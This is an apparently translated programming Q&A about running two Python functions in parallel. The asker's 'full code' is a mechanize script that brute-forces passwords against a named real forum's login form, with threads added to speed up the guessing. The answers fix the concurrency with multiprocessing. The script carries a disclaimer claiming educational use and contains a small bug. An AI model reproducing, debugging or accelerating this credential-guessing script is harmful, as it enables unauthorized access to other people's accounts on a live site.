2016-04-09 15 views
1

我已经在Python中制作了2个具有循环命令的函数。 为了更快地制作过程,我想多线程化它们。如何在Python中使用多线程功能?

例如:

def loop1(): 
    while 1 < 2: 
     print "something" 

def loop2(): 
    while 5 > 4: 
     print "something1" 

如何运行这两个的,所以它可以循环是这样的:

something 
something1 
something 
something1 

我已经试过这样:

import threading 
from threading import Thread 

def loop1(): 
    print "Something" 

def loop2(): 
    print "Something1" 

if __name__ == '__main__': 
    Thread(target = loop1).start() 
    Thread(target = loop2).start() 

但它给了我HTML错误,并刚刚开始运行loop1。

全码:

import mechanize 
import itertools 
import string 
import threading 
from threading import Thread 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 

response = br.open("http://arkhamnetwork.org/community/login/") 

br.addheaders = [("User-agent","Mozilla/5.0")] 

def loop1(): 
    br.open("http://arkhamnetwork.org/community/login") 
    start = 1 
    end = 2 
    for length in range(start, end+1): 
     for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length): 
      br.select_form(nr=4) 
      br.set_all_readonly(False) 
      br.form['password'] = ''.join(c) 
      print "test",br.form['password'] 
      br.method = "POST" 
      response = br.submit() 
      if response.geturl()=="http://arkhamnetwork.org/community/": 
       print "test ",''.join(x) 
       break 

def loop2(): 
    br.open("http://arkhamnetwork.org/community/login") 
    start1 = 2 
    end1 = 3 
    for length in range(start1, end1+1): 
     for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length): 
      br.select_form(nr=4) 
      br.set_all_readonly(False) 
      br.form['password'] = ''.join(c) 
      print "test",br.form['password'] 
      br.method = "POST" 
      response = br.submit() 
      if response.geturl()=="http://arkhamnetwork.org/community/": 
       print "test",''.join(x) 
       break 

if __name__ == '__main__': 
    Thread(target = loop1).start() 
    Thread(target = loop2).start() # NOTE: i'm not trying to attack anyone or any site with this, I'm just testing out code for educational purposes. 

的错误它给了我:

[test] Trying a 
Exception in thread Thread-2: 
Traceback (most recent call last): 
    File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner 
    self.run() 
    File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 763, in run 
    self.__target(*self.__args, **self.__kwargs) 
    File "just.py", line 39, in loop2 
    br.select_form(nr=4) 
    File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 506, in select_form 
    for form in self.forms(): 
    File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 418, in forms 
    if not self.viewing_html(): 
    File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 443, in viewing_html 
    raise BrowserStateError("not viewing any document") 
BrowserStateError: not viewing any document 

,并保持循环1.

+0

'br'是共享的,也许它不是线程安全的,请尝试在每个函数(线程)中创建一个。 – totoro

回答

0

找到了解决方案:

from multiprocessing import Process 

def loop1(): 
    while 1 < 2: 
     print "something" 


def loop2(): 
    while 5 > 4: 
     print "something1" 


if __name__=='__main__': 
    p1 = Process(target = loop1) 
    p1.start() 
    p2 = Process(target = loop2) 
    p2.start() 

此代码将运行multipe功能离子在一起。不完全确定为什么线程版本不起作用,但我认为它是将函数转换为线程,而不是用于多线程。